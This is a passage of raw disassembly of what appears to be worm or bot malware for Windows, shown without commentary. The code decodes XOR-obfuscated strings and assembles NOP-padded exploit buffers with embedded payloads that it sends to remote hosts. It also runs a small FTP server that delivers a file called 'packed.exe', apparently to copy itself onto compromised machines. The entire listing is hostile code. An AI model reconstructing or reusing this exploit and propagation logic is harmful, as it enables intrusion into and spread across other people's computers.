sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; --------------------------------------------------------------------------- loc_410649: ; DATA XREF: cAddress:off_41CCD6o push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: cAddress:0041067Fj push 0 push 1000h lea eax, [ebp-1B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+8] push dword ptr [eax+2Ah] mov eax, [ebp+8] add eax, 146h push eax mov eax, [ebp+8] add eax, 0C6h push eax mov eax, [ebp+8] push dword ptr [eax+0C2h] push 200h lea eax, [ebp-200h] push eax call sub_4125DF add esp, 20h mov [ebp-370h], eax cmp dword ptr [ebp-370h], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: cAddress:004106E9j and dword ptr [ebp-374h], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: cAddress:0041072Aj mov eax, [ebp-374h] inc eax mov [ebp-374h], eax loc_410706: ; CODE XREF: cAddress:004106F7j cmp dword ptr [ebp-374h], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp-374h] mov [ebp+ecx-36Ch], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: cAddress:00410710j push 0Ah push offset dword_41A8A0 lea eax, [ebp-280h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8F0 lea eax, [ebp-276h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E8 lea eax, [ebp-272h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset dword_41A8EC lea eax, [ebp-23Ah] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41A8E4 lea eax, [ebp-236h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset dword_41A894 lea eax, [ebp-232h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp-370h] mov [ebp-204h], eax and dword ptr [ebp-1B78h], 0 push 18h push offset dword_41A7FC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 18h mov [ebp-1B78h], eax push 44h push offset dword_41A818 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 44h mov [ebp-1B78h], eax push 20h push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 20h mov [ebp-1B78h], eax push 4 push offset dword_41A8AC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8E0 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8D8 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push offset dword_41A8DC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 58h push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 58h mov [ebp-1B78h], eax push 6 push offset dword_41A8B4 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 6 mov [ebp-1B78h], eax push 8 push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 8 mov [ebp-1B78h], eax push 4 push offset dword_41A8BC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 4 push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, 4 mov [ebp-1B78h], eax push 6 push offset dword_41A8C4 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 6 mov [ebp-1B78h], eax push dword ptr [ebp-204h] push 0FFFFFF90h mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp-1B78h] add eax, [ebp-204h] mov [ebp-1B78h], eax push dword ptr [ebp-370h] lea eax, [ebp-200h] push eax mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, [ebp-370h] mov [ebp-1B78h], eax push 168h lea eax, [ebp-36Ch] push eax mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 168h mov [ebp-1B78h], eax push 0Ah push offset off_41A8CC mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 0Ah mov [ebp-1B78h], eax push 32h push offset dword_41A860 mov eax, [ebp-1B78h] lea eax, [ebp+eax-0B74h] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp-1B78h] add eax, 32h mov [ebp-1B78h], eax mov eax, [ebp-1B78h] mov [ebp-0B6Ch], eax mov eax, [ebp-1B78h] sub eax, 18h mov [ebp-0B64h], eax push dword ptr [ebp-1B78h] lea eax, [ebp-0B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: cAddress:00410B32j push 0 push 1000h lea eax, [ebp-1B74h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: cAddress:00410681j ; cAddress:004106EBj ... leave retn ; --------------------------------------------------------------------------- loc_410B52: ; DATA XREF: cAddress:0041CD10o push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset a__ ; "\r\n\\_/." mov eax, [ebp+8] push dword ptr [eax+2Ah] mov eax, [ebp+8] add eax, 146h push eax mov eax, [ebp+8] add eax, 0C6h push eax mov eax, [ebp+8] push dword ptr [eax+0C2h] push 200h lea eax, [ebp-204h] push eax call sub_4125DF add esp, 20h mov [ebp-20Ch], eax cmp dword ptr [ebp-20Ch], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: cAddress:00410BA8j push 89h push offset dword_41AF50 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: cAddress:00410BE8j push 0A8h push offset dword_41AFDC mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: cAddress:00410C28j push 0DEh push offset dword_41B088 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: cAddress:00410C68j movsx eax, byte ptr [ebp-7CCh] sub eax, 30h mov [ebp-208h], al movsx eax, byte ptr [ebp-7C8h] sub eax, 30h mov [ebp-4], al push 3Eh push offset dword_41B168 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: cAddress:00410CC2j push 60h push offset dword_41B1A8 mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: cAddress:00410CFFj push 0A0h push offset dword_41B20C mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp-80Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: cAddress:00410D3Fj movsx eax, byte ptr [ebp-208h] cmp eax, 5 jnz loc_410E71 movsx eax, byte ptr [ebp-4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp-0B78h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp-20Ch] lea eax, [ebp-204h] push eax lea eax, [ebp-0AF2h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp-20Ch] add eax, 60h push eax mov eax, [ebp-20Ch] lea eax, [ebp+eax-0AF2h] push eax loc_410DB7: ; DATA XREF: cAddress:off_419A7Co call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp-88Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-882h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-85Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp-852h] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp-82Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp-0B78h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp-0B78h] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: cAddress:00410D50j ; cAddress:00410D5Dj movsx eax, byte ptr [ebp-208h] cmp eax, 5 jnz short loc_410E85 movsx eax, byte ptr [ebp-4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: cAddress:00410E7Bj movsx eax, byte ptr [ebp-208h] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: cAddress:00410E83j push 86h push offset dword_41B35C lea eax, [ebp-104Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp-20Ch] push eax push 90h lea eax, [ebp-0FC6h] push eax call sub_416B6A ; memset add esp, 0Ch push dword ptr [ebp-20Ch] lea eax, [ebp-204h] push eax lea eax, [ebp-0BDEh] sub eax, [ebp-20Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch and dword ptr [ebp-0B7Ch], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: cAddress:00410F2Cj mov eax, [ebp-0B7Ch] inc eax mov [ebp-0B7Ch], eax loc_410F06: ; CODE XREF: cAddress:00410EF7j cmp dword ptr [ebp-0B7Ch], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp-0B7Ch] lea eax, [ebp+eax*4-0BDEh] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: cAddress:00410F0Dj push 20h push offset dword_41B3E4 lea eax, [ebp-0B9Eh] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp-104Ch] push eax mov eax, [ebp+8] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: cAddress:00410BAAj ; cAddress:00410BEAj ... leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: cAddress:loc_410DB7p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: cAddress:004118D6p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; --------------------------------------------------------------------------- loc_41113B: ; DATA XREF: sub_411BBC+156o push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+8] mov [ebp-10Ch], eax push offset a220 ; "220 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch mov al, byte_41DE00 mov [ebp-104h], al push 3Fh pop ecx xor eax, eax lea edi, [ebp-103h] rep stosd stosw stosb mov al, byte_41DE00 mov [ebp-114h], al xor eax, eax lea edi, [ebp-113h] stosd stosb and dword ptr [ebp-4], 0 and dword ptr [ebp-118h], 0 and dword ptr [ebp-108h], 0 loc_4111CC: ; CODE XREF: cAddress:00411247j ; cAddress:004112F8j ... push 0EA60h push dword ptr [ebp-10Ch] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp-318h] push eax push dword ptr [ebp-10Ch] call sub_4053DC add esp, 0Ch mov [ebp-520h], eax cmp dword ptr [ebp-520h], 0 jz short loc_411218 cmp dword ptr [ebp-520h], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: cAddress:0041120Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: cAddress:00411216j lea eax, [ebp-108h] push eax push offset dword_41C6AC lea eax, [ebp-318h] push eax call sub_40813C add esp, 0Ch mov [ebp-528h], eax cmp dword ptr [ebp-528h], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: cAddress:00411245j lea eax, [ebp-108h] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp-51Ch], eax cmp dword ptr [ebp-51Ch], 0 jnz short loc_411278 mov dword ptr [ebp-51Ch], offset byte_41DE00 loc_411278: ; CODE XREF: cAddress:0041126Cj lea eax, [ebp-108h] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push dword ptr [ebp-528h] call sub_40ED38 pop ecx mov [ebp-524h], eax mov eax, [ebp-524h] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov dword ptr [ebp-4], 1 push offset a331 ; "331 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: cAddress:004112B3j mov eax, [ebp-524h] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov dword ptr [ebp-118h], 1 push offset a230 ; "230 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: cAddress:00411310j cmp dword ptr [ebp-4], 0 jz short loc_41136C cmp dword ptr [ebp-118h], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: cAddress:00411361j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: cAddress:0041136Aj mov eax, [ebp-524h] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset a215 ; "215 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: cAddress:00411384j mov eax, [ebp-524h] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset a211 ; "211 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: cAddress:004113DAj mov eax, [ebp-524h] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset a257 ; "257 \"/\" -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: cAddress:00411430j mov eax, [ebp-524h] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: cAddress:00411486j mov eax, [ebp-524h] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset a425 ; "425 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: cAddress:004114DCj mov eax, [ebp-524h] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp-534h] push eax lea eax, [ebp-52Ch] push eax lea eax, [ebp-540h] push eax lea eax, [ebp-53Ch] push eax lea eax, [ebp-538h] push eax lea eax, [ebp-530h] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push dword ptr [ebp-51Ch] call sub_416BA2 ; sscanf add esp, 20h movzx eax, byte ptr [ebp-540h] push eax movzx eax, byte ptr [ebp-53Ch] push eax movzx eax, byte ptr [ebp-538h] push eax movzx eax, byte ptr [ebp-530h] push eax push offset aU_U_U_U ; "%u.%u.%u.%u" push 100h lea eax, [ebp-104h] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp-52Ch] and eax, 0FFh shl eax, 8 mov ecx, [ebp-534h] and ecx, 0FFh or eax, ecx push eax push offset aU_0 ; "%u" push 6 lea eax, [ebp-114h] push eax call sub_416BAE ; _snprintf add esp, 10h push offset a200 ; "200 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: cAddress:00411532j mov eax, [ebp-524h] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-548h], eax cmp dword ptr [ebp-548h], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: cAddress:00411659j push 2 push 0 push dword ptr [ebp-548h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-548h] call sub_416B76 ; ftell pop ecx mov [ebp-544h], eax push 0 push 0 push dword ptr [ebp-548h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-548h] call sub_416B82 ; fclose pop ecx push dword ptr [ebp-544h] push offset a213U ; "213 %u\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: cAddress:00411635j mov eax, [ebp-524h] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp-518h] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp-518h] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp-518h] push eax push dword ptr [ebp-10Ch] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp-114h] push eax lea eax, [ebp-104h] push eax call sub_4050EA add esp, 10h mov [ebp-54Ch], eax cmp dword ptr [ebp-54Ch], 0 jz short loc_411773 cmp dword ptr [ebp-54Ch], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: cAddress:00411768j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: cAddress:00411771j push offset aRb ; "rb" push offset aPacked_exe ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-554h], eax cmp dword ptr [ebp-554h], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: cAddress:00411796j push 2 push 0 push dword ptr [ebp-554h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-554h] call sub_416B76 ; ftell pop ecx 